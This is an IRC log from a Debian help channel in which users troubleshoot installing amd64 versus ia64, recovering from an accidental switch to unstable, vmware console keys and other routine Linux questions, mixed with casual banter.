| 00:00.02 | blackelf_ | Mystic_place: amd64 |
| 00:00.10 | Mystic_place | mc__ the problema is in the debian website there are no amd_64 |
| 00:00.11 | rahul | does gcc-4 work for the kernel? |
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| 00:00.18 | Mystic_place | there are only on i64 |
| 00:00.18 | blackelf_ | rahul: yes |
| 00:00.19 | geo-rge | rahul: I removed all the gccs other than the one etch installed |
| 00:00.22 | mc__ | Mystic_place: link please |
| 00:00.26 | geo-rge | or I think I did |
| 00:00.28 | valdyn | rahul: sure, for >= 2.6 kernel |
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| 00:00.39 | rahul | hrm |
| 00:00.53 | rahul | !penixstrike mith |
| 00:00.54 | Mystic_place | http://www.us.debian.org/distrib/netinst |
| 00:00.54 | dpkg | A towering Penix descends from the heavens, knocking mith to the ground and leaving a large wet spot. |
| 00:01.02 | Mystic_place | mc___ the ussually link don`t |
| 00:01.05 | Mystic_place | :\ |
| 00:01.06 | geo-rge | rahul: oic, you were suggesting to downgrade gcc to one that would be sure to work |
| 00:01.18 | rahul | geo-rge: no, you can install 3.3 |
| 00:01.23 | mc__ | Mystic_place: use ia64 |
| 00:01.25 | Mystic_place | http://www.us.debian.org/CD/netinst/ |
| 00:01.31 | valdyn | mc__: eh? |
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| 00:01.43 | Mystic_place | yes but the problem is that the ia64 don`t work in amd 64 x2 |
| 00:01.49 | Mystic_place | that the problem |
| 00:01.50 | geo-rge | oh, so you're saying they'd cohabitate |
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| 00:01.53 | blackelf_ | mc__: ia64 is for intell isnt it |
| 00:02.01 | geo-rge | yeah |
| 00:02.05 | Mystic_place | loo´ks there are no netinstall version or cd debian version to amd 64 x2 |
| 00:02.06 | Mystic_place | :| |
| 00:02.10 | geo-rge | amd64 is amd |
| 00:02.16 | blackelf_ | Mystic_place: there is, I use it |
| 00:02.19 | mc__ | Mystic_place: i think i downloaded ia64=intel amd 64 afaik |
| 00:02.23 | Mystic_place | geo-rge i allready talk that question |
| 00:02.33 | mc__ | Mystic_place: ive got an X2 myself |
| 00:02.35 | valdyn | Mystic_place: if you have to ask your should probably use debian/i386, but if you want to use amd64 debian: sarge was not officially released for amd64 , /msg dpkg amd64 |
| 00:02.36 | Mystic_place | the ia4 cames to replace the amd ins`t it? |
| 00:02.46 | valdyn | Mystic_place: ia64 is NOT what you want |
| 00:02.47 | abrotman | !amd64 |
| 00:02.47 | dpkg | well, amd64 is See http://www.debian.org/ports/amd64/ and the #debian-amd64 IRC channel, or http://alioth.debian.org/docman/view.php/30192/21/debian-amd64-howto.html, now official, will be a supported arch on Etch, or a generic name. it also supports xeon etc, see http://wiki.debian.org/DebianAMD64Faq. Consider using debian/i386 if you do not have a good reason to use debian/amd64 |
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| 00:02.54 | geo-rge | those are two different arches |
| 00:02.55 | Mystic_place | there are no amd 64 in debian.org website ... |
| 00:03.04 | Mystic_place | there are only ia64 ... |
| 00:03.06 | valdyn | Mystic_place: we know, read |
| 00:03.11 | abrotman | you don't have ia64 |
| 00:03.23 | itchi | Mystic_place: Look to what dpkg told |
| 00:03.54 | mc__ | debian needs a new homepage |
| 00:04.00 | Mystic_place | ok ok ok i see it thanks i will try the dpkg |
| 00:04.17 | geo-rge | ok, so that's a good question too... what kinds of things factor into a decision to go with amd versus intel? |
| 00:04.33 | mc__ | geo-rge: intel is evil,really |
| 00:04.38 | geo-rge | why? |
| 00:04.39 | blackelf_ | mc__: why |
| 00:04.45 | mc__ | geo-rge: the FSF asks you not to buy from intel |
| 00:04.45 | valdyn | geo-rge: price, speed, power consumption, available mainboards |
| 00:04.57 | mc__ | geo-rge: and inel is expensive |
| 00:05.01 | abrotman | no they aren't |
| 00:05.02 | blackelf_ | mc__: got url? |
| 00:05.10 | mc__ | blackelf_: wait a moment |
| 00:05.10 | Mystic_place | but ... the ia64 don`t came to replace the ... amd_64 ? why i will use one old version if debian have one new version there? | |
| 00:05.11 | Mystic_place | :\ |
| 00:05.18 | abrotman | Mystic_place: you DO NOT have ia64 |
| 00:05.21 | geo-rge | yeah, I'd be interested in reading that too |
| 00:05.22 | valdyn | core 2 duo is fine price/performanc wise, just decent mainboards seem to be rare |
| 00:05.36 | abrotman | valdyn: the intel boards are easy to find .. and pretty good |
| 00:05.39 | blackelf_ | will someone give Mystic_place the url to amd64 |
| 00:05.45 | mc__ | This is why Intel is evil:http://www.fsf.org/campaigns/free-bios.html |
| 00:05.47 | abrotman | !amd64 |
| 00:05.48 | dpkg | extra, extra, read all about it, amd64 is See http://www.debian.org/ports/amd64/ and the #debian-amd64 IRC channel, or http://alioth.debian.org/docman/view.php/30192/21/debian-amd64-howto.html, now official, will be a supported arch on Etch, or a generic name. it also supports xeon etc, see http://wiki.debian.org/DebianAMD64Faq. Consider using debian/i386 if you do not have a good reason to use debian/amd64 |
| 00:05.48 | Mystic_place | abrotman ins`t it ia64 intel compatobility to amd 64? |
| 00:05.52 | abrotman | for the second time |
| 00:05.55 | abrotman | Mystic_place: NO NO NO |
| 00:05.59 | blackelf_ | Mystic_place: NOOOOOOOOOOO |
| 00:06.01 | geo-rge | valdyn: what would you consider the top few choices for intel? |
| 00:06.02 | valdyn | abrotman: yea, just know its few of them, they may be fine... |
| 00:06.02 | Mystic_place | no?! |
| 00:06.05 | abrotman | ia64 HAS NOTHING to do with AMD64 |
| 00:06.07 | Mystic_place | ermm :x |
| 00:06.11 | geo-rge | Mystic_place: it's time for you to read |
| 00:06.16 | abrotman | !tell Mystic_place about amd64 |
| 00:06.17 | blackelf_ | Mystic_place: wtf, are you from USA public school? |
| 00:06.19 | abrotman | !tell Mystic_place about ia64 |
| 00:06.21 | valdyn | geo-rge: i have no idea, i did not see one suiting me last i checked |
| 00:06.26 | mc__ | blackelf_: lol |
| 00:06.37 | abrotman | i went to a usa public school |
| 00:06.42 | valdyn | geo-rge: that sais nothing about quality, just slots i wanted |
| 00:06.45 | blackelf_ | excptions |
| 00:06.45 | abrotman | got a problem with that ? |
| 00:06.45 | geo-rge | you're asking questions again that you've asked and had answered all within the past few minutes |
| 00:06.54 | Mystic_place | ok ok ok i use the amd64 easy i´m a litle new :) |
| 00:07.16 | geo-rge | valdyn: what are some of your requirements? |
| 00:07.32 | Mystic_place | thanks :) |
| 00:07.33 | blackelf_ | so wheres the url about FSF telling to not buy intell |
| 00:07.36 | geo-rge | Mystic_place: you will be less new VERY QUICKLY if you read the citings you had been given |
| 00:07.44 | mc__ | blackelf_: already gave it |
| 00:08.04 | Mystic_place | geo-rge hope so think like to try thanks :) |
| 00:08.13 | mc__ | blackelf_: second try: http://www.fsf.org/campaigns/free-bios.html |
| 00:08.13 | abrotman | geo-rge: top few choices for an intel mobo or cpu ? |
| 00:08.22 | geo-rge | "<mc__> This is why Intel is evil:http://www.fsf.org/campaigns/free-bios.html" |
| 00:08.53 | geo-rge | abrotman: mobo for now... (note, I'm just dreaming atm... so no hurry or pressure) |
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| 00:09.18 | abrotman | geo-rge: you'd need to decide on a CPU first .. that makes it way easier :) |
| 00:09.31 | geo-rge | "<mc__> This is why Intel is evil: (sorry for repeat, but here's clickable version) http://www.fsf.org/campaigns/free-bios.html " |
| 00:09.39 | Mystic_place | sad don`t have rc4 for amd64 :\ |
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| 00:10.03 | valdyn | Mystic_place: its there im sure |
| 00:10.06 | blackelf_ | Mystic_place: wait then update |
| 00:10.08 | abrotman | Mystic_place: i don't think there's rc4 for anything |
| 00:10.17 | abrotman | oh wait .. no i did see them |
| 00:10.26 | valdyn | Mystic_place: and even if it wasnt there you would get those bugfixes as soon as you update over network |
| 00:10.26 | Mystic_place | not in the website ok i will copu the link and try to seach :\ |
| 00:10.40 | geo-rge | Mystic_place: if it's one thing debian is very good at, it's automatic upgrades... if installer doesn't get you latest, just upgrade after installing base |
| 00:11.22 | geo-rge | Mystic_place: install any, upgrade to what you want |
| 00:11.36 | MatBoy | Guys, can I change ALT+F2/F3/F4 to something else ? |
| 00:11.43 | MatBoy | like SHIFT 2 ? |
| 00:11.45 | mc__ | btw:are downgrades supported in debian? |
| 00:11.52 | geo-rge | (second way to say same thing... hey, btw, have you started reading yet?) |
| 00:12.06 | geo-rge | MatBoy: read relevent kernel source to see |
| 00:12.08 | valdyn | MatBoy: to screw your @ ( or whatever you got there ) ? |
| 00:12.13 | Mystic_place | yes probably bether install and then upgrade ok thanks 1 more time guys :) |
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| 00:12.27 | geo-rge | MatBoy: shift 2 is "@" |
| 00:12.28 | Acu | commercial software is also useful - I am trying now NeroLinux and I have a feeling that Double Layer will work this time (after failing with all open source applications) |
| 00:12.28 | Mystic_place | let´s me try :X |
| 00:12.52 | MatBoy | valdyn, nope... I use vmware server console and need to do a ALT+F2 on a Linux termimal... problem is that the Workstation is resonding on it |
| 00:12.53 | geo-rge | while I know it's possible to do that, I don't think you want it |
| 00:13.07 | blackelf_ | I wonder should I make my commerciall applicaton open source, while having it non-free?\\ |
| 00:13.12 | itchi | shift + 2 = 2 :-p |
| 00:13.29 | geo-rge | itchi: maybe on YOUR keyboard... |
| 00:13.32 | abrotman | mc__: no |
| 00:13.35 | tapiwa | i downloaded the 2 debian dvd but the problem is installing the op sys. - continously flicks making it hard to read the installation instructions |
| 00:13.41 | itchi | geo-rge: :-) |
| 00:13.42 | MatBoy | geo-rge, I NEED it |
| 00:13.46 | mc__ | abrotman: alright,thank you |
| 00:13.57 | geo-rge | MatBoy: see if you can change vmware |
| 00:14.17 | MatBoy | geo-rge, nope because the console is not responding... I need the distro :) |
| 00:14.24 | MatBoy | that's running in the VM |
| 00:14.38 | abrotman | MatBoy: ask #vmware |
| 00:14.42 | itchi | tapiwa: On an laptop? |
| 00:14.42 | geo-rge | you have a pair of choices... either change linux (good luck... learn C and then hack kernel source...) or change vmware settings |
| 00:15.11 | DavidProck1981 | @ALL, what nvidia card would be perfict for Doom3 (and then some to run on, if you get what I mean), that would be fully supported for the latest distro of debian (not looking at cost, looking for preformance) |
| 00:15.16 | MatBoy | abrotman, they had the same idea like me.. I need to change my Workstatino |
| 00:15.19 | geo-rge | you need what distro? |
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| 00:15.29 | mc__ | DavidProck1981: 8800GTX |
| 00:15.29 | MatBoy | geo-rge, never mind |
| 00:15.35 | itchi | tapiwa: I got that on an old laptop, an cheatcode (vga=771) solve the trouble |
| 00:15.37 | valdyn | MatBoy: there's a userspace program to change ttyy |
| 00:15.52 | MatBoy | valdyn, do you know the name of it ? |
| 00:15.52 | abrotman | MatBoy: they don't know how ? |
| 00:15.59 | abrotman | DavidProck1981: ask #hardware |
| 00:16.04 | valdyn | MatBoy: nope, maybe i'll remember |
| 00:16.31 | MatBoy | abrotman, nope because I can't say to vmware that when I do a ALT+2 that it needs to do a ALT+F2 on the VM |
| 00:16.44 | tapiwa | on laptop - dell 6000 |
| 00:16.48 | MatBoy | valdyn, PM me than... I'm 24H online here |
| 00:16.51 | abrotman | MatBoy: chvt ? |
| 00:16.53 | MatBoy | would be nice ! |
| 00:17.01 | geo-rge | abrotman: ok... I'm interested in (at minimum) dual core... that doesn't rule out intel or amd... or does it? |
| 00:17.01 | Thms | MatBoy, you never sleep ? |
| 00:17.01 | PerfDave | MatBoy: Recompile VMWare! |
| 00:17.02 | DavidProck1981 | mc__ do you know if it is fully supported in debian linux, the latest distro |
| 00:17.05 | abrotman | valdyn: chvt ? |
| 00:17.10 | itchi | tapiwa: You need to look on 'tuxmobile' and 'linux on laptop' also |
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| 00:17.12 | abrotman | geo-rge: both have that |
| 00:17.22 | mc__ | DavidProck1981: all newer nvidia cards are good supported |
| 00:17.23 | valdyn | MatBoy: man chvt |
| 00:17.27 | MatBoy | Thms, almost not indeed |
| 00:17.30 | abrotman | valdyn: dont' i get a beer?! |
| 00:17.32 | MatBoy | valdyn, thanks ! |
| 00:17.35 | MatBoy | abrotman, too ! |
| 00:17.39 | valdyn | !double beer abrotman |
| 00:17.43 | valdyn | ! beer abrotman |
| 00:17.46 | MatBoy | !wine abchirk |
| 00:17.49 | abrotman | hehe |
| 00:17.52 | MatBoy | !wine abrotman |
| 00:17.56 | tapiwa | itchi: I will do that, but I did not have a problem installing suse or fedora, |
| 00:17.59 | mc__ | !coffee |
| 00:17.59 | dpkg | coffee is, like, the reason the net exists, or the drug of choice for a GNU generation, or http://www.chez.com/emarsden/downloads/coffee.el, or /usr/share/doc/HOWTO/en-html/mini/Coffee.html, or geiseri's favorite beverage, or smells better than it tastes |
| 00:17.59 | DavidProck1981 | MatBoy what you need to know about vmware, I have NO problems with it |
| 00:18.05 | abchirk | !beer abrotman ;) |
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| 00:18.18 | MatBoy | DavidProck1981, I run Debian + KDE with vmware in it |
| 00:18.22 | logyati | hi guys |
| 00:18.31 | tapiwa | itchi: I will do that - go to tuxmoble and linux on laptop, thanks |
| 00:18.32 | abchirk | beer is better for abrotman :D |
| 00:18.33 | logyati | how do i change the compiz theme? |
| 00:18.38 | abrotman | whee! |
| 00:18.42 | MatBoy | in VMware I run windows... in windows I run Vmware Server Console |
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| 00:18.43 | DavidProck1981 | what you having probs doing that |
| 00:18.51 | logyati | i cant find this information in google |
| 00:19.17 | MatBoy | When I'm on the installer of an VM-OS for Vmware server, and I want to do a ALT+F2 My workstation is responding on those keys, and not the VM in the server console |
| 00:19.17 | itchi | tapiwa: Yup, i see it here, you need also that boot option |
| 00:19.52 | itchi | tapiwa: You used the the 2.4 kernel not the 2.6? |
| 00:19.56 | logyati | abrotman: do you know? |
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| 00:20.17 | abrotman | no .. but i'd ask #compiz :) |
| 00:20.19 | DavidProck1981 | did not understand what you mean, do you have problems running a os on vmware |
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| 00:20.45 | cusco | how do I step down teh cpu frequency? |
| 00:20.47 | itchi | tapiwa: Ba, you gona read that i guess. (No look to it -> , just in case when you not find it http://eulex.0nyx.com/inspiron6000.html) |
| 00:20.55 | blackelf_ | cusco: cpufreq |
| 00:21.14 | cusco | ty |
| 00:22.17 | tapiwa | itchi: thanks for your suggestions, |
| 00:22.38 | itchi | tapiwa: Your Welcome ;-) |
| 00:22.57 | MatBoy | DavidProck1981, nope, works OK... never mind |
| 00:22.59 | MatBoy | it;s complex |
| 00:23.01 | Eulex | itchi, :) |
| 00:23.06 | itchi | Eulex: Your page? |
| 00:23.12 | Eulex | itchi, mhm |
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| 00:23.23 | fr3ak | hi |
| 00:23.26 | itchi | Same name :-) |
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| 00:23.39 | fr3ak | Is it possible to install mysql5 on sarge ? |
| 00:24.00 | fr3ak | like apt-get method |
| 00:24.02 | itchi | Eulex: Or because i did highlight it? ;-) |
| 00:24.17 | itchi | fr3ak: Look to backports |
| 00:24.17 | Thms | how to uninstall grub ? |
| 00:24.27 | itchi | Thms: Want somethings others? |
| 00:24.28 | abrotman | install another bootloader |
| 00:24.38 | Thms | itchi, no, I want to delete debian and grub |
| 00:24.50 | itchi | Thms: oei |
| 00:25.00 | Eulex | itchi, needs quite some updating, but the most important stuff is there |
| 00:25.02 | Thms | ? |
| 00:25.02 | fr3ak | itchi, no clue what you saying..is any mirror for that? |
| 00:25.09 | itchi | Thms: I dunno how to do that, never did it :-) :-) :-) |
| 00:25.13 | Eulex | !backports |
| 00:25.13 | dpkg | it has been said that backports is a package from a newer Debian branch, compiled from source for an older branch to avoid dependency and ABI complications. http://www.debian.org/doc/manuals/reference/ch-package.en.html#s-port or http://backports.org/ or http://www.apt-get.org/ or ask me about <simple sid backport>, or in .bashrc, alias apt-get='apt-get -t sarge-backports' |
| 00:25.19 | fr3ak | hmm thanks |
| 00:25.26 | MatBoy | ah kewl ! I fixed it... with F2 you really need to be fast !folder/admin |
| 00:25.40 | itchi | Eulex: You helped an guy that are already gone :-/ |
| 00:26.03 | itchi | Eulex: Ba, i guess he gona use that vga cheat code now on his laptop :-) |
| 00:26.54 | eduhat | hey guys. anyone here use aterm? if so what file does aterm read as its config file? |
| 00:26.56 | Eulex | itchi, hmm? VGA=771? |
| 00:27.14 | geo-rge | fr3ak: note for future ref: you can "/msg dpkg backports" and dpkg will respond by /msg to you. |
| 00:27.18 | itchi | Eulex: Yup, someone had come in an complain about that flicking of his screen |
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| 00:27.44 | fr3ak | thanks..let me try anyway |
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| 00:27.57 | Eulex | itchi, yes, stuff was unreadable on this laptop in the installer without adding that option |
| 00:28.06 | itchi | Eulex: If your interesting tapiwa n=tapiwa@89.101.237.182 i guess he gona come back |
| 00:28.39 | Eulex | itchi, yeah, saw him |
| 00:28.41 | itchi | Eulex: Hehe, same with my old Compaq Armada 1750, same cheat too |
| 00:28.53 | cusco | blackelf_: sorry but then what do I need to run cpufreq? |
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| 00:29.34 | geo-rge | what additional OSes will run linuxbiosv2 or v1? |
| 00:29.54 | geo-rge | s/will run/can be booted by/ |
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| 00:30.50 | AZ_AS | hey all...I've been wondering about an error I got while trying to use apt-get on debian testing on a MacBook Pro |
| 00:30.59 | blackelf_ | geo-rge: no ide |
| 00:31.09 | AZ_AS | anyone care to try and help me? I can paste the error in #flood |
| 00:31.17 | enouf | Mystic_place: read http://en.wikipedia.org/wiki/EM64T and /msg dpkg ia64 .. you are confused .. these should clarify it for you |
| 00:31.24 | abrotman | AZ_AS: paste away! |
| 00:31.49 | abrotman | AZ_AS: that's a current issue in unstable |
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| 00:32.04 | AZ_AS | ah ok |
| 00:32.04 | geo-rge | Mystic_place: you're not reading yet?? |
| 00:32.05 | itchi | enouf: Wooaa, you have scroll so far back :-) |
| 00:32.08 | cusco | analyzing CPU 0: no or unknown cpufreq driver is active on this CPU |
| 00:32.09 | MatBoy | Guys ! Happy Christmas !! Enjoy it ! |
| 00:32.12 | Mystic_place | enouf yes i allready understand that ia64 is diferente from amd64 i will read the link |
| 00:32.13 | AZ_AS | any ideas on when that should be fixed, abrotman? |
| 00:32.18 | abrotman | AZ_AS: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=404048 |
| 00:32.23 | abrotman | AZ_AS: are you sure you're using testing ? |
| 00:32.25 | AZ_AS | I'm a n00b to debian but so far am loving it |
| 00:32.29 | AZ_AS | apparently not |
| 00:32.38 | enouf | itchi: yep .. atleast a few hundred lines :-P |
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| 00:32.43 | abrotman | AZ_AS: dpkg -l libc6 | tail -1 .. what's it say ? |
| 00:32.45 | Mystic_place | geo-rge yes i´m working on it thanks :) |
| 00:32.58 | AZ_AS | ack, I'm not in debian atm |
| 00:33.02 | abrotman | oh |
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| 00:33.08 | AZ_AS | running OS X but I can run that command later |
| 00:33.12 | abrotman | ok |
| 00:33.28 | abrotman | they have irc clients in debian too :) |
| 00:33.31 | AZ_AS | I'll join again later when I'm back in debian :) ty for that link, gonna read |
| 00:33.41 | abrotman | okay |
| 00:33.42 | AZ_AS | and oh, I've got Konversation so at least can join from there :) |
| 00:33.45 | AZ_AS | thanks again |
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| 00:34.09 | datrus_ | hello. does anyone know an easy way to capture headers of all outgoing http requests from the command line? |
| 00:34.09 | enouf | Mystic_place: yeah .. I realize that .. but ins hort em64t(IntelTM)/amd64(AMD) are 64bit extensions that amd developed. ia64 is the Intel iTanium/2 architecture only .. and is separate from all that |
| 00:35.15 | DavidProck1981 | what would it mean if your hard drive starts seeking like crazy , out of no where, with no apparent reason |
| 00:35.20 | enouf | itchi: I'm living in yesterday :-p |
| 00:35.42 | Mystic_place | enouf yup :) my problem was thinking that ia64 works for amd ot intel but look´s not :) |
| 00:35.43 | PerfDave | DavidProck1981: It could mean several things. First thing to check might be whether you've run out of real RAM and started swapping, or loaded any swapped-out processes. |
| 00:35.58 | itchi | enouf: hehe |
| 00:36.04 | DavidProck1981 | how do I check that |
| 00:36.09 | PerfDave | DavidProck1981: free |
| 00:36.16 | PerfDave | ia64 is Itanium. em64t is an amd64-compatiable Intel-specific extension. |
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| 00:36.39 | PerfDave | It's odd to see just how slowly the Itanic is sinking these days. |
| 00:36.53 | PerfDave | You'd think people would have learned from SGI ;) |
| 00:36.55 | michael11 | I've upgraded to the most recent version of gtk but I have been having problems with it and cannot run applications; how can I downgrade it through apt-get or any other debian tool? |
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| 00:37.06 | PerfDave | michael11: How did you "upgrade" it? |
| 00:37.16 | DavidProck1981 | Mem: 2075952 2019484 56468 0 124280 1604784 |
| 00:37.20 | DavidProck1981 | is that goos |
| 00:37.24 | DavidProck1981 | good |
| 00:37.28 | PerfDave | DavidProck1981: Please don't paste to channel. |
| 00:37.50 | mc__ | DavidProck1981: rafb.net/paste |
| 00:37.57 | DavidProck1981 | well are those numbers good |
| 00:38.02 | PerfDave | Or channels.debian.net/paste |
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| 00:38.11 | michael11 | PerfDave: First I had put in "apt-get upgrade" and then finally when all was up to date I put in "apt-get dist-upgrade" |
| 00:38.20 | PerfDave | DavidProck1981: It's impossible to say. Paste the full output of "free -m" to http://channels.debian.net/paste |
| 00:38.29 | PerfDave | michael11: OK, what did you do with your sources.list? |
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| 00:38.52 | grimeboy | If I do makepasswd --crypt --clearfrom=/tmp/password Then I get passwordfromfilegbklhajwrh. Where gbklhajwrh is random stuff. Should I just use gbklhajwrh or should I use passwordfromfilegbklhajwrh? |
| 00:39.10 | grimeboy | If I'm feeding it to icecast which wants a crypt password. |
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| 00:40.04 | geo-rge | passwordfromfile could be a weird/malformed salt value? |
| 00:40.23 | eduhat | what config file does aterm read? |
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| 00:40.36 | michael11 | PerfDave: Give me a minute to get it and paste it online. Which website would you prefer me to paste it on? Pastebin.com? |
| 00:40.38 | rahul | eduhat: doesn't the man page say? |
| 00:40.42 | DavidProck1981 | PerfDave here it is http://channels.debian.net/paste/4891 |
| 00:40.48 | grimeboy | geo-rge, passwordfromfile is the password from /tmp/password |
| 00:40.49 | PerfDave | michael11: http://channels.debian.net/paste/ |
| 00:41.08 | eduhat | rahul: i dont think so.. i checked it |
| 00:41.10 | grimeboy | geo-rge, Whereas the rest is weird/mallformed |
| 00:41.14 | PerfDave | DavidProck1981: OK, you're not using any swap, so that's not it. |
| 00:41.31 | rahul | eduhat: does it say something about Xresources? |
| 00:41.32 | grimeboy | geo-rge, I have no idea when it comes to cryptography. |
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| 00:42.17 | DavidProck1981 | I don't know how to convert those numbers, can you tell me hoe many MB or ram im using |
| 00:42.28 | abrotman | man free ? |
| 00:42.55 | michael11 | PerfDave: http://channels.debian.net/paste/4892 |
| 00:43.05 | rhalff | hm what provides killall ? I only have a killall5 |
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| 00:43.32 | geo-rge | so when did this intel blockade start? |
| 00:43.36 | grimeboy | Hmm... I've shoved it into the file. |
| 00:43.47 | abrotman | michael11: you realize your sources are not right ? |
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| 00:44.15 | grimeboy | The icecast.conf and now when I telnet in and type ADMIN passwordinfile it says ERROR -Bad Password |
| 00:44.26 | eduhat | rahul: nope... i dont think so |
| 00:45.14 | geo-rge | telnet isn't a secure protocol |
| 00:45.21 | rahul | eduhat: I believe it's ~/.aterm |
| 00:45.24 | rahul | eduhat: but not sure |
| 00:45.51 | PerfDave | michael11: OK, so as well as every other repository under the sun, you're basically running Unstable now. |
| 00:46.11 | michael11 | PerfDave: Yay!!! How do I fix it? |
| 00:46.32 | LnxSlck | anyone knows pykota ? |
| 00:46.45 | michael11 | PerfDave: This is my home server and I added some repos that had updated php5 packages and other such things |
| 00:46.46 | PerfDave | michael11: What do you mean by "fix"? |
| 00:46.56 | PerfDave | michael11: You also added the Debian unstable repositories. |
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| 00:47.27 | nkuttler | rhalff: apt-cache search killall |
| 00:47.31 | abrotman | LnxSlck: is that next to minnesota ? |
| 00:47.32 | itchi | michael11: And some spaces |
| 00:47.45 | michael11 | PerfDave: Well, get it to a working version whether it be stable or unstable. I usually like to have the newest of whatever even if it is buggy, but I'm not sure about this |
| 00:47.52 | geo-rge | michael11: unstable? umm... might I suggest you take an operating system's course? sid isn't supported here (unless you come across someone who wants to help and/or knows it well enough) |
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| 00:48.12 | geo-rge | get rid of that apostrophe |
| 00:48.20 | rhalff | nkuttler: ah thanks, Im lucky killall5 slapd, didn't work :p killall5 is almost shutting everything down |
| 00:48.40 | PerfDave | michael11: If you want to run stable or testing, then reinstall. If you want to run unstable, learn about dealing with package bugs *really* fast ;) |
| 00:48.52 | geo-rge | michael11: if you run unstable, you get the honor of supporting yourself |
| 00:49.04 | elshaa | what do you guys use to encode dvd to avi ? |
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| 00:49.12 | geo-rge | (which is about the most positive way to state that) |
| 00:49.25 | mc__ | and rock solid compared to gentoo |
| 00:50.04 | abrotman | that's like saying a tin can floats better than a rock |
| 00:50.05 | rhalff | mc__, with etch running unstable is very unneeded I think. |
| 00:50.13 | PerfDave | mc__: That's damning with faint praise ;) |
| 00:50.24 | Acu | just to let you know guys - NeroLinux doesnot write Double Layer (fails when starting second layer) |
| 00:50.28 | mc__ | i want to help finding bugs |
| 00:50.30 | geo-rge | mc__: that all depends on how the user chooses to compile the aoos |
| 00:50.33 | geo-rge | apps |
| 00:50.35 | rahul | abrotman: a tin can floats well |
| 00:50.36 | rhalff | mc__, ok good reason :) |
| 00:50.43 | rahul | abrotman: if it's empty ;) |
| 00:50.47 | abrotman | rahul: even when full? :) |
| 00:50.50 | rahul | hehe |
| 00:50.52 | geo-rge | a rock floats well when it's in a boat :) |
| 00:50.53 | mc__ | and I'm the bleeding edge type ;) |
| 00:50.59 | rahul | heh |
| 00:51.00 | michael11 | PerfDave+geo-rge: okay, okay... so, if I want to go back to the stable version, would I just need to edit my sources.list then enter something like apt-get reinstall or something? |
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| 00:51.13 | rahul | whatever floats your boat... :P |
| 00:51.14 | abrotman | !d-i |
| 00:51.14 | dpkg | For stable/sarge: http://www.debian.org/releases/sarge/debian-installer/ and the development page for the installer(ISOs for etch/testing) is http://www.debian.org/devel/debian-installer/ d-i is the new generation Debian Installer, the replacement for boot floopies which was last used in woody. If you want to make custom install cds, start with d-i. IRC: oftc,net, #debian-boot. |
| 00:51.31 | geo-rge | michael11: well you would choose whether to do that... it is -your- choice after all |
| 00:51.33 | itchi | elshaa: avidemux, acidrip, xdvdshrink, drip, shrinkta |
| 00:51.38 | PerfDave | michael11: No, you'd need to reinstall your system from scratch. |
| 00:51.44 | geo-rge | I'm just telling you a consequence of your choice |
| 00:51.53 | elshaa | itchi: thanks |
| 00:51.54 | rahul | !d-i s/oftc,net/oftc.net/ |
| 00:51.54 | dpkg | s/oftc,net/oftc.net/, you want to go to http://www.debian.org/releases/sarge/debian-installer/ or http://www.debian.org/devel/debian-installer/ if you've got hardware that the 3.1r3 installer doesn't support - for your own good, and everyone else's. |
| 00:52.00 | Acu | did anyone tried gnomebaker for double layer dvd writing ? |
| 00:52.04 | rahul | blah |
| 00:52.13 | michael11 | geo-rge: Well, we've already discovered that I'm kind of a newb, so what would you suggest? Would I need to reinstall from scratch? |
| 00:52.18 | geo-rge | who is that masked s/// man?! |
| 00:52.19 | abrotman | rahul: would you like me to fix that ? |
| 00:52.21 | PerfDave | michael11: I'd advise you install Etch (from scratch). It'll be the new stable release in a few weeks or so. |
| 00:52.26 | rahul | abrotman: sure :P |
| 00:52.44 | rahul | I mena it's not really worth the effort, but whatever |
| 00:52.54 | geo-rge | michael11: yes, you probably would, should you choose to do that (note, I'd try to arrange a separate /home partition) |
| 00:52.56 | PerfDave | mc__: I'm thinking about running a Sid Xen guest in an Etch host |
| 00:53.24 | n3kl_ | I was in here the other day asking about hardware, dual opteron server boards. Does anyone have a site recomendation to look for such hardware? |
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| 00:53.35 | abrotman | !d-i |
| 00:53.35 | dpkg | For stable/sarge: http://www.debian.org/releases/sarge/debian-installer/ and the development page for the installer(ISOs for etch/testing) is http://www.debian.org/devel/debian-installer/ d-i is the new generation Debian Installer, the replacement for boot floopies which was last used in woody. If you want to make custom install cds, start with d-i. IRC: oftc.net: #debian-boot. |
| 00:53.35 | Acu | PerfDave: I thought RC2 will be release first |
| 00:53.37 | abrotman | rahul: better ? |
| 00:53.42 | rahul | yay |
| 00:53.51 | Acu | anyhow: any answer for gnomebacker |
| 00:53.55 | geo-rge | n3kl_: google.com |
| 00:54.13 | abrotman | n3kl_: ask #hardware |
| 00:54.23 | n3kl_ | abrotman: ah, thanks |
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| 00:55.02 | itchi | geo-rge: Look to regex on google?? |
| 00:55.28 | geo-rge | regex is on google too?! cooool |
| 00:55.50 | michael11 | PerfDave: I think I meant to be running testing rather than unstable because I wasn't completely aware of the difference and ended up with a fscked system... How could I reinstall over ssh and keep some things in my home directory and a couple of application configs? |
| 00:56.10 | geo-rge | I know a group who found out google was moving... and they bought up all the real estate they could |
| 00:56.11 | PerfDave | michael11: Back up your home directory, back up your app configs, reinstall from scratch. |
| 00:56.15 | PerfDave | !releases |
| 00:56.15 | dpkg | well, releases is See http://www.debian.org/releases/ for an explanation of releases. see <release history> for prior releases. http://wiki.debian.org/DebianReleases |
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| 00:56.41 | geo-rge | install over ssh? |
| 00:56.42 | geo-rge | why? |
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| 00:57.17 | PerfDave | geo-rge: Headless server? |
| 00:57.17 | michael11 | geo-rge: It is a home server and I don't have a monitor or keyboard or anything really connected to it |
| 00:57.27 | michael11 | PerfDave: indeed |
| 00:57.55 | dondelelcaro | it does, but in this case, an reinstall is not strictly necessary. |
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| 00:58.09 | PerfDave | dondelelcaro: To go from sid->etch as a newbie? |
| 00:58.12 | dondelelcaro | (although I personally am not terribly interested in walking someone through a downgrade from unstable to testing) |
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| 00:58.39 | PerfDave | Hell, I wouldn't try to manually downgrade unstable to testing, and I've been using Debian for over half a decade ;) |
| 00:58.55 | dondelelcaro | PerfDave: it may be the only way for the particular user in question to do it, but it's not impossible. |
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| 00:59.36 | michael11 | dondelelcaro: Might you know of a guide online that would be useful in helping me through it? |
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| 01:00.20 | abrotman | michael11: http://www.debianplanet.org/node.php?id=880 .. and no .. don't ask me anything about it |
| 01:00.42 | michael11 | dondelelcaro: It is very difficult and time consuming to the point where I could easily kill the system? |
| 01:00.50 | abrotman | yes .. very easily |
| 01:01.01 | PerfDave | michael11: Really, I'd go and wire up a monitor and keyboard and reinstall from scratch. It'll be quicker, easier, and less prone to subtle errors later. |
| 01:01.13 | dondelelcaro | ugh. that guide is totally wrong |
